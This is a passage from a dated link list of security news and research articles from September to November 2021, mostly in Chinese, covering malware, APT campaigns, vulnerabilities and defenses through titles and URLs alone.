Scheme](http://feedproxy.google.com/~r/TheHackersNews/~3/IMCYMc3Yido/researchers-propose-machine-learning.html) - 0x08 - 9.1 [社会工程学:美色你顶得住吗?](https://www.freebuf.com/articles/network/287042.html) - 9.1 [恶魔化身:新型勒索BlackMatter Windows和Linux通吃](https://www.freebuf.com/articles/system/287127.html) - 9.1 [攻击技术研判|“重门深锁”FormBook Crypter 执行隐匿技术精析](https://www.freebuf.com/articles/network/286948.html) - 9.1 [SMASH:从JavaScript发起同步多行Rowhammer攻击](https://www.anquanke.com/post/id/248543) - 9.1 [黑客现在可以绕过万事达和 Maestro 非接触式卡的 PIN 码](https://hackernews.cc/archives/35968) - 9.1 [Android game developer EskyFun exposed 1 million gamers to hackers](https://www.hackread.com/android-game-developer-eskyfun-leaks-gamers-hackers/) - 9.2 [NSIS安装程序生成引擎利用面及实战战法分析](http://blog.nsfocus.net/nsis-file/) - 9.2 [最熟悉的陌生人——基于共享证书的HTTPS上下文混淆攻击实证研究](https://www.inforsec.org/wp/?p=4963) - 9.2 [艾叶豹组织:针对巴基斯坦用户的监控活动披露](https://www.freebuf.com/articles/paper/287183.html) - 9.2 [Lazarus组织针对加密货币行业的社工攻击](https://www.secpulse.com/archives/165499.html) - 9.2 [网络产品安全漏洞管理规定及相关解读](https://www.freebuf.com/articles/neopoints/287012.html) - 9.2 [Now Patched Vulnerability in WhatsApp could have led to data exposure of users](https://research.checkpoint.com/2021/now-patched-vulnerability-in-whatsapp-could-have-led-to-data-exposure-of-users/) - 9.2 [OpenSSL 国密爆出 8.1 分高危漏洞 CVE-2021-3711](http://paper.seebug.org/1695/) - 9.2 [Coinbase的双因素身份验证出现错误警报,引起大量用户恐慌](https://www.anquanke.com/post/id/252419) - 9.2 [Google Play Sign-Ins Allow Covert Location-Tracking](https://threatpost.com/google-play-covert-location-tracking/169151/) - 9.2 [黑客正出售在显卡 VRAM 内隐藏恶意软件的工具](https://hackernews.cc/archives/35982) - 9.3 [海外执法机构未公开的技术监视设备](https://www.anquanke.com/post/id/252421) - 9.3 [KEKSEC组织运营网络再添新成员:LOLFME僵尸网络](http://blog.nsfocus.net/keksec-lolfme/) - 9.3 [反击CobaltStrike(一) 以假乱真](https://www.anquanke.com/post/id/252332) - 9.3 [大型企业中反钓鱼小组的工作总结:以意大利电信为例](https://www.anquanke.com/post/id/247815) - 9.3 [新研发的防御形式可让计算机应对来自 U 盘的威胁](https://hackernews.cc/archives/35991) - 9.4 [WhatsApp图片过滤功能中存在高危漏洞,可致程序崩溃](https://www.freebuf.com/news/287466.html) - 9.6 [Linux内核中利用msg_msg结构实现任意地址读写](https://www.anquanke.com/post/id/252558) - 9.6 [Malware found pre-installed in cheap push-button mobile phones sold in Russia](https://securityaffairs.co/wordpress/121887/mobile-2/push-button-mobile-phones-malware.html?utm_source=feedly&utm_medium=rss&utm_campaign=push-button-mobile-phones-malware) - 9.6 [反制爬虫之 Burp Suite RCE](http://paper.seebug.org/1696/) - 9.7 [攻击者结合NDay投递VBA恶意远控分析](http://blog.nsfocus.net/nday-vba/) - 9.7 [PortSwigger之SQL注入实验室笔记](https://www.freebuf.com/articles/web/287481.html) - 9.7 [Zabbix 攻击面挖掘与利用](http://paper.seebug.org/1697/) - 9.7 [前尘——流量中的无法捕捉的蝎子](https://www.anquanke.com/post/id/252549) - 9.7 [蓝牙“BrakTooth”漏洞可能会影响数十亿台设备](https://www.freebuf.com/news/287531.html) - 9.7 [冷门快捷键恶意利用,后门还能这样玩](https://www.secpulse.com/archives/165616.html) - 9.7 [勒索团伙再出手,这次是远控+窃密](https://www.freebuf.com/articles/network/287443.html) - 9.8 [攻击者利用 Confluence 漏洞,入侵Jenkins项目服务器](https://www.freebuf.com/news/287876.html) - 9.8 [一种利用LTE/5G的新型隐蔽通信方案及其补救策略](https://www.anquanke.com/post/id/252557) - 9.8 [DDoS Attack Disrupts New Zealand Banks, Post Office](https://www.govinfosecurity.com/ddos-attack-disrupts-new-zealand-banks-post-office-a-17486) - 9.9 [Mirai新变体利用WebSVN漏洞传播](https://www.freebuf.com/vuls/287672.html) - 9.10 [全球超 200 万服务器仍运行过时 IIS 组件](https://hackernews.cc/archives/36056) - 9.10 [Lemon-duck持续活跃,多平台多种入侵方式如何一键防御](https://www.freebuf.com/articles/network/288211.html) - 9.10 [IBM发布《2021年数据泄露成本报告》](https://www.freebuf.com/news/288133.html) - 9.10 [DEFIRANGER:检测DeFi App上的价格操纵攻击](https://www.anquanke.com/post/id/240793) - 9.10 [Burpsuite插件改造计划](https://www.anquanke.com/post/id/252779) - 9.11 [New SOVA Android Banking trojan is rapidly growing](https://securityaffairs.co/wordpress/122090/cyber-crime/sova-android-banking-trojan.html?utm_source=feedly&utm_medium=rss&utm_campaign=sova-android-banking-trojan) - 9.11 [谈谈网络空间“行为测绘”](http://paper.seebug.org/1702/) - 9.11 [总结常见漏洞的代码审计方法](https://www.freebuf.com/articles/web/287981.html) - 9.12 [Fortinet 近50万虚拟专用网络帐户密码被黑客泄露](https://www.freebuf.com/news/288142.html) - 9.13 [The new maxtrilha trojan is being disseminated and targeting several banks](https://securityaffairs.co/wordpress/122134/malware/maxtrilha-banking-trojan.html?utm_source=feedly&utm_medium=rss&utm_campaign=maxtrilha-banking-trojan) - 9.13 [失踪人口回归?REvil勒索软件重启再来](https://www.anquanke.com/post/id/253143) - 9.13 [德国警察局秘密购买NSO的间谍软件](https://www.freebuf.com/news/288336.html) - 9.13 [蚂蚁安全光年实验室 Usenix Security 2021 中稿论文解读](http://paper.seebug.org/1706/) - 9.13 [Black Hat USA 2021 议题分享——莫比乌斯环:探索 Hyper-V 攻击面](http://paper.seebug.org/1705/) - 9.13 [基于微信小程序生态体系的黑灰产研究报告](https://www.anquanke.com/post/id/252904) - 9.14 [隐藏在 Chrome 中的窃密者](http://paper.seebug.org/1710/) - 9.14 [银行木马QakBot分析](https://www.freebuf.com/articles/system/287913.html) - 9.14 [Bot attacks grow 41% in first half of 2021: LexisNexis](https://www.zdnet.com/article/bot-attacks-grow-41-in-first-half-of-2021-lexisnexis/) - 9.15 [通过ZoomEye追踪最新Office Word 0day(CVE-2021-40444)团伙](https://www.anquanke.com/post/id/253348) - 9.15 [“SideWinder(响尾蛇)”APT组织演变与技术细节](https://www.secpulse.com/archives/166329.html) - 9.15 [超 6100 万可穿戴设备用户信息被曝光](https://hackernews.cc/archives/36083) - 9.16 [【APT行为数据分析】终端溯源数据中的依赖爆炸问题](http://blog.nsfocus.net/apt-provenance/) - 9.16 [突破防火墙 NAT 的内外网隔离,真黑客想访问谁就访问谁!](http://paper.seebug.org/1716/) - 9.16 [黑产大数据:恶意邮箱迎来新爆发](https://www.freebuf.com/articles/paper/288751.html) - 9.17 [New Go malware Capoae uses multiple flaws to target WordPress installs, Linux systems](https://securityaffairs.co/wordpress/122308/malware/go-malware-capoae.html?utm_source=rss&utm_medium=rss&utm_campaign=go-malware-capoae) - 9.17 [研究发现制造业的计算机数据面临过度曝光的风险](https://hackernews.cc/archives/36108) - 9.17 [无代理拦截数据包(bettercap+burp)](https://www.freebuf.com/articles/wireless/284912.html) - 9.17 [瞄准Linux系统!攻击者改造渗透测试工具Cobalt Strike兼容Linux信标](https://www.freebuf.com/news/288546.html) - 9.18 [新恶意程序正利用 WSL 隐蔽攻击 Windows 设备](https://hackernews.cc/archives/36128) - 9.18 [OMIGOD 漏洞使数以千计的Azure用户面临黑客攻击](https://www.freebuf.com/vuls/289055.html) - 9.19 [Lazarus 组织针对加密货币行业的社工攻击](http://paper.seebug.org/1719/) - 9.20 [对Paradise勒索软件生成工具的分析](https://www.freebuf.com/articles/system/289241.html) - 9.22 [1.06亿条泰国游客的个人数据,发生泄露](https://www.freebuf.com/news/289355.html) - 9.22 [基于 AppleScript 的利用技术](http://paper.seebug.org/1722/) - 9.22 [远控木马 NetWire 来袭](https://www.freebuf.com/articles/system/289281.html) - 9.22 [对仿冒美国Chase银行钓鱼网站的分析](https://www.freebuf.com/news/289279.html) - 9.22 [Kinsing僵尸网络开始攻击 Windows](https://www.freebuf.com/articles/system/289275.html) - 9.22 [银行木马Numando的新攻击](https://www.freebuf.com/articles/system/289274.html) - 9.22 [新Zloader感染链改进隐身和检测逃避技术](https://www.freebuf.com/articles/system/289273.html) - 9.22 ["Cyrus"APT 组织:"SideWinder (响尾蛇)"的兄弟](http://paper.seebug.org/1721/) - 9.22 [新的恶意软件使用Linux的Windows子系统进行秘密攻击](https://www.freebuf.com/articles/network/289072.html) - 9.24 [New Malware Targets India's Defense Personnel](https://www.bankinfosecurity.com/new-malware-targets-indias-defense-personnel-a-17609) - 9.26 [研究人员公布3个iOS零日漏洞PoC利用代码](https://www.freebuf.com/news/289895.html) - 9.24 [app抓包的另一种姿势](https://www.anquanke.com/post/id/253303) - 9.24 [攻击者利用微软Exchange漏洞攻击全球酒店,持续三年](https://www.freebuf.com/news/289668.html) - 9.24 [未修补的高危漏洞影响Apple mac OS计算机 可使恶意文件绕过检查](https://www.freebuf.com/articles/network/289503.html) - 9.24 [SodinokibiREvil勒索组织近期活动梳理与最新样本分析](https://www.freebuf.com/articles/paper/289490.html) - 9.24 [针对全球政府机构的8大网络攻击](https://www.freebuf.com/articles/paper/289485.html) - 9.23 [APT-C-36手段翻新躲检测,冒充南美组织作乱](https://www.anquanke.com/post/id/253933) - 9.23 [Turla APT组织使用新后门攻击阿富汗、德国和美国](https://www.freebuf.com/news/289541.html) - 9.23 [Linux终端注意了!隐蔽性更强的后门木马Rmgr来了](https://www.freebuf.com/articles/system/289323.html) - 9.26 [TangleBot: New Advanced SMS Malware Targets Mobile Users Across U.S. and Canada with COVID-19 Lures | Cloudmark EN](https://www.cloudmark.com/en/blog/mobile/tanglebot-new-advanced-sms-malware-targets-mobile-users-across-us-and-canada-covid-19) - 9.22 [零日漏洞允许在 macOS 系统上运行任意命令](https://hackernews.cc/archives/36148) - 9.22 [Apple tried to patch this security hole in macOS Finder but didn't consider upper and lowercase characters](https://www.theregister.com/2021/09/22/macos_rce_flaw/) - 9.23 [分析 Pegasus 間諜程式所用的 ForcedEntry 零點選 iPhone 漏洞攻擊](https://blog.trendmicro.com.tw/?p=69725) - 9.26 [“驱动人生”:老病毒翻出新花样](https://www.freebuf.com/articles/system/289740.html) - 9.26 [nfc研究——记一次门禁梯控绕过的研究](https://www.anquanke.com/post/id/254013) - 9.27 [IoT视角下的短信攻击 —— Wi-Fi Portal滥用](https://www.anquanke.com/post/id/254166) - 9.28 [一头扎进 IoT Bugs 中是种什么体验?](http://blog.nsfocus.net/iot-bugs/) - 9.28 [Mirai_ptea_Rimasuta variant is exploiting a new RUIJIE router 0 day to spread](https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/) - 9.28 [Telegram正在成为骗子和不法分子的天堂](https://www.freebuf.com/news/290268.html) - 9.28 [protobuf协议逆向解析](https://www.secpulse.com/archives/166791.html) - 9.28 [Mirai_ptea_Rimasuta变种正在利用RUIJIE路由器在野0DAY漏洞传播](https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day/) - 9.28 [FisherMan:通过Selenium收集Facebook用户资料](https://www.freebuf.com/articles/database/289838.html) - 9.28 [Russia-Linked Nobelium Deploying New 'FoggyWeb' Malware](https://www.bankinfosecurity.com/russia-linked-nobelium-deploying-new-foggyweb-malware-a-17632) - 9.29 [Sneaky Android Trojan Siphons Millions Using Premium SMS](https://www.darkreading.com/application-security/sneaky-android-trojan-siphons-millions-using-premium-sms) - 9.29 [SAS 2021: FinSpy 监视工具再次出现,比以往更强大](https://hackernews.cc/archives/36267) - 9.29 [PixStealer: a new wave of Android banking Trojans abusing Accessibility Services](https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/) - 9.29 [前尘——内存中无处可寻的木马](https://www.anquanke.com/post/id/253475) - 9.29 [新型木马ERMAC已经影响378个安卓银行应用](https://www.freebuf.com/articles/290433.html) - 9.29 [如何使用PackageDNA检测不同编程语言的软件包安全性](https://www.freebuf.com/articles/security-management/289835.html) - 9.29 [剖析脏牛1_mmap如何映射内存到文件](https://www.anquanke.com/post/id/254306) - 9.29 [GriftHorse malware infected more than 10 million Android phones from 70 countries](https://securityaffairs.co/wordpress/122730/malware/grifthorse-malware-campaign.html?utm_source=rss&utm_medium=rss&utm_campaign=grifthorse-malware-campaign) - 9.29 [FinSpy: unseen findings](https://securelist.com/finspy-unseen-findings/104322/) - 9.30 [GriftHorse 恶意软件已经感染了超过 1 千万台安卓设备](https://hackernews.cc/archives/36288) - 9.30 [New Tomiris Backdoor Found Linked to Hackers Behind SolarWinds Cyberattack](https://thehackernews.com/2021/09/new-tomiris-backdoor-found-linked-to.html) - 9.30 [The Top Ransomware Threats Aren’t Who You Think](https://threatpost.com/the-top-ransomware-threats-arent-who-you-think/175164/) - 9.30 [谁偷了我的模型:机器学习模型水印技术介绍与分析](http://blog.nsfocus.net/artificial-intelligence/) - 9.30 [新型恶意软件BloodyStealer可窃取多个游戏平台帐户](https://www.freebuf.com/news/290469.html) - 9.30 [Cring勒索软件针对ColdFusion发起攻击](https://www.freebuf.com/news/289852.html) - 0x09 - 10.1 [Chinese Hackers Used a New Rootkit to Spy on Targeted Windows 10 Users](https://thehackernews.com/2021/10/chinese-hackers-used-new-rootkit-to-spy.html) - 10.1 [Armor Piercer:针对南亚次大陆的网络攻击已经开始](https://www.freebuf.com/articles/endpoint/289906.html) - 10.1 [Flubot Malware Targets Androids With Fake Security Updates](https://threatpost.com/flubot-malware-targets-androids-with-fake-security-updates/175276/) - 10.2 [后whois时代的证书狩猎技巧](https://www.freebuf.com/articles/network/290259.html) - 10.3 [解析勒索软件的通用技术](https://www.freebuf.com/articles/system/290263.html) - 10.4 [Facebook, WhatsApp, and Instagram are down worldwide, it’s panic online](https://securityaffairs.co/wordpress/122949/breaking-news/facebook-whatsapp-instagram-down.html) - 10.6 [To the moon and hack: Fake SafeMoon app drops malware to spy on you](https://www.welivesecurity.com/2021/10/06/moon-hack-fake-safemoon-cryptocurrency-app-drops-malware-spy/) - 10.7 [Microsoft: 58% of Nation-State Cyberattacks Come From Russia](https://www.darkreading.com/threat-intelligence/microsoft-58-of-nation-state-cyberattacks-come-from-russia) - 10.8 [【技术推荐】Ysoserial Click1 利用链分析](http://paper.seebug.org/1733/) - 10.8 [苹果 AirTag 存在存储型XSS漏洞,恐被攻击者利用](https://www.freebuf.com/news/290801.html) - 10.8 [攻击可解释性技术](https://www.anquanke.com/post/id/254173) - 10.8 [TangleBot:Android 木马恶意软件最危险软件之一,可完全接管手机](https://hackernews.cc/archives/36301) - 10.9 [Expert discloses new iPhone lock screen vulnerability in iOS 15](https://securityaffairs.co/wordpress/122740/hacking/lock-screen-vulnerability.html) - 10.9 [Hackers hit Russian ministry, rocket center using MSHTML vulnerability](https://www.hackread.com/hackers-russia-ministry-rocket-center-mshtml-vulnerability/) - 10.9 [FontOnLake Rootkit 恶意软件攻击 Linux 系统](https://hackernews.cc/archives/36325) - 10.9 [微信、QQ、淘宝等应用被发现频繁读取用户相册](https://www.solidot.org/story?sid=69165) - 10.9 [rdp 协议攻击面与安全性分析](http://paper.seebug.org/1734/) - 10.9 [iPhone锁屏了,攻击者依然可以利用这个漏洞盗用Apple Pay](https://www.freebuf.com/news/290777.html) - 10.9 [Google Says Russian APT Targeting Journalists, Politicians](https://www.bankinfosecurity.com/google-says-russian-apt-targeting-journalists-politicians-a-17708) - 10.9 [深入 FTP 攻击 php-fpm 绕过 disable_functions](https://www.anquanke.com/post/id/253122) - 10.10 [CrowdSec:一个功能强大的行为检测引擎](https://www.freebuf.com/articles/network/290868.html) - 10.10 [浅谈云上攻防–SSRF漏洞带来的新威胁](https://www.secpulse.com/archives/167332.html) - 10.10 [FIN12组织对医疗保健机构展开快速精准的勒索软件攻击](https://www.anquanke.com/post/id/254946) - 10.10 [Previously undetected FontOnLake Linux malware used in targeted attacks](https://securityaffairs.co/wordpress/123161/malware/fontonlake-linux-malware.html?utm_source=rss&utm_medium=rss&utm_campaign=fontonlake-linux-malware) - 10.11 [恶意软件FontOnLake Rootkit正在威胁Linux系统](https://www.freebuf.com/articles/291058.html) - 10.11 [Trend Micro: Linux Malware Targets Huawei Cloud](https://www.bankinfosecurity.com/trend-micro-linux-malware-targets-huawei-cloud-a-17714) - 10.11 [印度英尼福实验室或与一安卓间谍软件程序有关](https://hackernews.cc/archives/36345) - 10.12 [DEV-0343 APT 瞄准美国和以色列的国防技术公司](https://hackernews.cc/archives/36387) - 10.12 [研究人员为关键基础设施系统创建自我意识以抵御黑客攻击](https://hackernews.cc/archives/36375) - 10.12 [四川省2021年上半年 移动互联网应用安全报告](https://www.freebuf.com/articles/network/291343.html) - 10.12 [BlackTech 组织与他们使用的恶意软件Gh0stTimes](http://paper.seebug.org/1737/) - 10.12 [自动驾驶欺骗之幻影攻击](https://paper.seebug.org/1736/) - 10.13 [Lazarus组织继续进行APPLEJEUS行动](https://www.anquanke.com/post/id/255750) - 10.13 [乌克兰警方逮捕僵尸网络组织者,涉10万台感染设备](https://www.freebuf.com/news/291407.html) - 10.13 [Python勒索软件:一场针对VMware ESXi服务器的闪电战](https://www.freebuf.com/news/291390.html) - 10.13 [StoryDroid:为安卓应用程序自动生成故事板](https://www.anquanke.com/post/id/254781) - 10.14 [逃逸风云再起:从CVE-2017-1002101到CVE-2021-25741](http://blog.nsfocus.net/cve-2017-1002101/) - 10.14 [New Yanluowang ransomware used in highly targeted attacks on large orgs](https://securityaffairs.co/wordpress/123328/malware/yanluowang-ransomware-targeted-attacks.html?utm_source=rss&utm_medium=rss&utm_campaign=yanluowang-ransomware-targeted-attacks) - 10.15 [“阎罗王”勒索软件强势出击](https://www.anquanke.com/post/id/256063) - 10.14 [用数学符号绕过反钓鱼检测,这届黑产有点6](https://www.freebuf.com/news/291602.html) - 10.14 [俄罗斯“壮士断腕”,构建自身网络安全](https://www.freebuf.com/news/290448.html) - 10.15 [Google 委托 VirusTotal 分析 8000 万个勒索软件样本 以下是一些细节](https://hackernews.cc/archives/36419) - 10.15 [可绕过防沉迷系统和人脸认证,游戏租号背后的灰色产业链](https://www.anquanke.com/post/id/254408) - 10.15 [PortSwigger之HTTP请求走私+OAuth认证实验记录](https://www.freebuf.com/articles/web/291642.html) - 10.15 [同比增加33%,谷歌发送约5万条“国家性攻击”警告](https://www.freebuf.com/news/291720.html) - 10.15 [一款专门针对高质量女性的易语言钓鱼样本简单分析](https://www.secpulse.com/archives/167756.html) - 10.15 [MyKings僵尸网络运营者通过挖矿赚取2400万美元](https://www.freebuf.com/news/291696.html) - 10.15 [“绝地求生”:深信服EDR让新型勒索病毒Signer“落地成盒”](https://www.secpulse.com/archives/167038.html) - 10.15 [CVE-2021-34486 etw 事件管理器内核漏洞利用](https://www.anquanke.com/post/id/255916) - 10.15 [CVE-2021-1810:如何绕过Gatekeeper](https://www.anquanke.com/post/id/254783) - 10.15 [云资源被窃成趋势,3万云账户在暗网泛滥:IBM《2021云安全威胁态势报告》](https://www.freebuf.com/articles/paper/291514.html) - 10.17 [英国研究人员:安卓系统自动和手机厂商及谷歌分享用户隐私数据](https://www.freebuf.com/news/291533.html) - 10.18 [Web漏洞挖掘指南 -SSRF服务器端请求伪造](https://www.secpulse.com/archives/167853.html) - 10.18 [美国财政部报告:2021 年勒索事件支付赎金将近 6 亿美元 超过去年全年](https://hackernews.cc/archives/36428) - 10.18 [ATT&CK威胁检测技术在云工作负载的实践](https://www.anquanke.com/post/id/255556) - 10.18 [“刷脸时代”你的脸就是我的脸 -- 人脸识别漏洞分析 (上)](http://paper.seebug.org/1739/) - 10.18 [“刷脸时代”你的脸就是我的脸 -- 人脸识别漏洞分析 (下)](http://paper.seebug.org/1740/) - 10.19 [阿根廷全国人口身份证信息遭黑客盗取并正在对外兜售](https://hackernews.cc/archives/36452) - 10.19 [关于BGP那些事儿](https://security.tencent.com/index.php/blog/msg/203) - 10.19 [韩国新闻工作者沦为Kimsuky APT的“掌上玩物”](https://www.freebuf.com/articles/network/292105.html) - 10.19 [安全人员利用人工智能猜解银行卡密码](https://www.anquanke.com/post/id/256433) - 10.20 [Microsoft-Signed Rootkit Targets Gaming Environments in China](https://www.darkreading.com/attacks-breaches/microsoft-signed-rootkit-targets-gaming-environments-in-china) - 10.20 [IP地址溯源 从源头遏制计算机恶意程序感染](https://www.secpulse.com/archives/168000.html) - 10.20 [再次捕获云上在野容器攻击,TeamTNT黑产攻击方法揭秘](https://www.freebuf.com/articles/network/292290.html) - 10.20 [某远未授权访问分析](https://www.secpulse.com/archives/163892.html) - 10.20 [新型网络犯罪攻防技术研究](http://paper.seebug.org/1741/) - 10.20 [音视频通话应用状态机漏洞分析](https://www.anquanke.com/post/id/254117) - 10.20 [2021年最恶劣的八大恶意软件](https://www.freebuf.com/articles/network/292222.html) - 10.21 [TeamTNT Deploys Malicious Docker Image on Docker Hub](https://www.bankinfosecurity.com/teamtnt-deploys-malicious-docker-image-on-docker-hub-a-17766) - 10.21 [超大规模的物联网僵尸网络:Pink](http://blog.nsfocus.net/pink-nsfocus/) - 10.21 [东北亚活跃分子APT组织Kimsuky之事件篇](http://blog.nsfocus.net/apt-kimsuky/) - 10.21 [研究:暗网仍存在且更危险 网络犯罪服务费用可低至 500 美元](https://hackernews.cc/archives/36501) - 10.21 [R3蓝屏的多种方式及原理分析(二)—— Win11下的蓝屏探究](https://www.anquanke.com/post/id/256107) - 10.21 [推陈出新,Donot组织窃密手法再升级](https://www.anquanke.com/post/id/255674) - 10.21 [近2年入侵13家电信公司的幕后黑手浮出水面](https://www.freebuf.com/articles/system/292367.html) - 10.21 [基于全流量权限漏洞检测技术](https://www.anquanke.com/post/id/256111) - 10.22 [朋友圈发自拍、秀定位、晒娃的行为背后,你可能不知道一张照片能泄露多少隐私](https://www.anquanke.com/post/id/254743) - 10.22 [请立即检查,WinRAR惊现远程代码执行漏洞](https://www.freebuf.com/news/292595.html) - 10.22 [如何用 FTP 被动模式打穿内网](https://www.anquanke.com/post/id/254387) - 10.23 [月下载量超千万Npm包ua-parser-js遭遇投毒攻击,阿里云安全国内独家披露](https://www.anquanke.com/post/id/256978) - 10.23 [YouTube创作者账户“沦陷”cookie恶意劫持](https://www.anquanke.com/post/id/256931) - 10.24 [云上在野容器攻击 TeamTNT攻击方法揭秘](https://www.anquanke.com/post/id/256676) - 10.25 [对某单位遭受投递FormBook窃密木马的分析报告](https://www.secpulse.com/archives/168113.html) - 10.25 [黑客以800美元的价格出售5000万条莫斯科司机数据记录](https://www.freebuf.com/news/292713.html) - 10.25 [Gartner 2022重要技术趋势初探](https://www.freebuf.com/articles/neopoints/292596.html) - 10.31 [微软替你找到了macOS系统一个关键性漏洞](https://www.freebuf.com/news/293393.html) - 10.31 [巴西“支付宝”火了,被恶意软件PixStealer盯上](https://www.freebuf.com/articles/system/293258.html) - 10.31 [浅谈反向代理技术](https://www.freebuf.com/articles/web/293165.html) - 10.30 [AdminSDHolder安全解密](https://www.anquanke.com/post/id/257326) - 10.29 [Pink, a botnet that competed with the vendor to control the massive infected devices](https://blog.netlab.360.com/pink-en/) - 10.29 [全国频发!骗子“当面“洗空你的钱,到底是怎么做到的?](https://www.anquanke.com/post/id/255860) - 10.29 [揭秘!“跑分”平台背后的黑灰产业链运作](https://www.anquanke.com/post/id/257286) - 10.29 [供应链攻击已成全球企业的“心腹大患”](https://www.freebuf.com/articles/neopoints/293359.html) - 10.29 [从合规角度谈企业App使用第三方SDK时个人信息保护措施](https://www.anquanke.com/post/id/257202) - 10.29 [伪装成防病毒应用, 新型Android恶意软件正在日本传播](https://www.freebuf.com/articles/293304.html) - 10.28 [Eye-Tracking Device is a Tiny Movie Theatre for Jumping Spiders](https://hackaday.com/2021/10/28/eye-tracking-device-is-a-tiny-movie-theatre-for-jumping-spiders/) - 10.28 [Grief 勒索软件团伙袭击美国全国步枪协会](https://www.freebuf.com/articles/system/293211.html) - 10.28 [连锁传递的威胁——从软件供应链视角看网络安全[内部报告公开]](https://www.secpulse.com/archives/168481.html) - 10.28 [FBI:Ranzy Locker勒索软件今年袭击30余家美国公司](https://www.anquanke.com/post/id/257489) - 10.28 [某mpv播放器因格式化字符串导致远程代码执行漏洞深入分析(CVE-2021-30145)](https://www.anquanke.com/post/id/257187) - 10.27 [浅谈Sonicwall SonicOS的host头注入,防火墙绝对安全?](https://www.anquanke.com/post/id/256396) - 10.27 [上千万 Android 用户陷入UltimaSMS 订阅骗局](https://www.freebuf.com/news/293065.html) - 10.26 [纽约时报记者的手机两次被NSO Group的Pegasus间谍软件感染](https://www.freebuf.com/news/292883.html) - 10.26 [国产开源工具 | 操作系统国产模糊测试工具Healer](https://www.freebuf.com/sectool/292731.html) - 10.26 [微软发出警告,Nobelium 勒索组织将持续进行供应链攻击](https://www.freebuf.com/news/292847.html) - 10.26 [一个藏在我们身边的巨型僵尸网络 Pink](https://blog.netlab.360.com/pinkbot/) - 10.26 [AI中的后门攻击及防御-实战篇](https://www.anquanke.com/post/id/255550) - 10.27 [分销网络遭黑客攻击后,伊朗加油站停止服务](https://hackernews.cc/archives/36569) - 10.26 [Attackers Hijack Craigslist Emails to Bypass Security, Deliver Malware](https://threatpost.com/attackers-hijack-craigslist-email-malware/175754/) - 10.29 [This New Android Malware Can Gain Root Access to Your Smartphones](https://thehackernews.com/2021/10/this-new-android-malware-can-gain-root.html) - 10.25 [New Attack Lets Hackers Collect and Spoof Browser's Digital Fingerprints](https://thehackernews.com/2021/10/new-attack-let-attacker-collect-and.html) - 10.28 [北 연계 APT 조직 탈륨(Thallium), 故 노태우 조문 네이버 뉴스로 사칭한 해킹 공격 시도](https://blog.alyac.co.kr/4227) - 10.26 [针对巴以地区长达三年的攻击活动揭露](https://blogs.360.cn/post/Three_years_of_attacks_on_Israel_and_Palestine_are_revealed.html) - 10.26 [区块链隐私保护技术解析——之门罗币(monero)](http://blog.nsfocus.net/monero-nsfocus/) - 0x10 - 11.1 [云原生安全|基于容器ATT&CK矩阵模拟攻防对抗的思考](https://www.secpulse.com/archives/168616.html) - 11.1 [只要25美元,互联网作恶的成本越来越低了](https://www.freebuf.com/news/302716.html) - 11.2 [Trojan Source attack method allows hiding flaws in source code](https://securityaffairs.co/wordpress/124081/hacking/trojan-source-attack.html) - 11.2 [10月下旬APT组织Patchwork伪装巴基斯坦联邦税务局的鱼叉攻击活动](http://blog.nsfocus.net/apt-patchwork/) - 11.2 [LeetHozer僵尸网络再度袭来](http://blog.nsfocus.net/leethozer-2/) - 11.2 [安卓曝隐私高危漏洞“魔形女”,谷歌三星已确认](https://www.freebuf.com/news/292778.html) - 11.2 [利用Exchange漏洞入侵安插后门,小心数据泄露](https://www.freebuf.com/articles/system/303176.html) - 11.2 [曝光!涉俄APT组织“圣贤熊”针对军队、政府展开经济犯罪和间谍攻击](https://www.freebuf.com/articles/paper/303276.html) - 11.2 [针对我国和南亚次大陆等国家的钓鱼攻击活动分析](https://www.secpulse.com/archives/168707.html) - 11.2 [用疫情防控思路解决挖矿木马风险](https://www.freebuf.com/articles/neopoints/303201.html) - 11.2 [Finger:一款函数符号识别神器](https://www.anquanke.com/post/id/256461) - 11.3 [Mekotio Banking Trojan Resurfaces with New Attacking and Stealth Techniques](https://thehackernews.com/2021/11/mekotio-banking-trojan-resurfaces-with.html) - 11.3 [Mekotio Banker Returns with Improved Stealth and Ancient Encryption](https://research.checkpoint.com/2021/mekotio-banker-returns-with-improved-stealth-and-ancient-encryption/) - 11.3 [IP库?信息?资产?拿来吧你](https://www.anquanke.com/post/id/258206) - 11.3 [Black Shadow组织入侵以色列互联网托管服务商](https://www.anquanke.com/post/id/258265) - 11.3 [从一道CTF题到HTTP请求走私攻击](https://www.secpulse.com/archives/168760.html) - 11.4 [Amazon Spoofed in New Attack](https://www.infosecurity-magazine.com/news/amazon-spoofed-in-new-attack/) - 11.4 [Operation (विक्रान्त) Vikrant:长期对南亚等国进行间谍活动的APT组织](https://www.freebuf.com/articles/paper/303585.html) - 11.4 [Azure IoT Edge Computing: A PoC Approach](https://www.inovex.de/de/blog/azure-iot-edge-computing/) - 11.4 [针对网贷诈骗行业诈骗链分析](https://www.freebuf.com/articles/web/303654.html) - 11.4 [英国第二大党遭受网络攻击](https://www.freebuf.com/news/303634.html) - 11.4 [以毒攻毒?FBI ProxyLogon清除行动深度分析](https://www.freebuf.com/vuls/303486.html) - 11.4 [skype蠕虫式钓鱼事件分析](https://www.freebuf.com/articles/database/303489.html) - 11.4 [调查揭示移动网络钓鱼对能源行业的攻击激增161%](https://www.freebuf.com/news/303605.html) - 11.4 [苏丹2021年10月25政变断网事件](https://www.secpulse.com/archives/168807.html) - 11.4 [涉俄APT组织“圣贤熊”针对军队、政府展开经济犯罪和间谍攻击](https://www.anquanke.com/post/id/258167) - 11.4 [iOS 15.0 免越狱枚举已装应用漏洞分析](https://www.anquanke.com/post/id/256970) - 11.5 [制药行业面临的远程网络威胁](http://blog.nsfocus.net/lo-lot/) - 11.5 [Windows出现恶意二进制loader Wslink,感染途径未知](https://www.freebuf.com/articles/paper/303592.html) - 11.5 [乌克兰铁心认为Gamaredon组织背靠俄罗斯政府](https://www.anquanke.com/post/id/258519) - 11.5 [4G/LTE 移动通信系统中对隐私和可用性的实际攻击](https://www.anquanke.com/post/id/257679) - 11.6 [卑鄙者的墓志铭:REvil勒索软件罪魁首次被锁定](https://www.anquanke.com/post/id/258174) - 11.7 [构建一套属于你自己的小型仿真威胁狩猎平台](https://www.freebuf.com/articles/endpoint/303763.html) - 11.8 [AI赋能windows恶意软件检测](https://www.anquanke.com/post/id/256969) - 11.8 [pip官方源再遭投毒,阿里云安全及时响应](https://www.anquanke.com/post/id/258511) - 11.8 [APT 活动中的 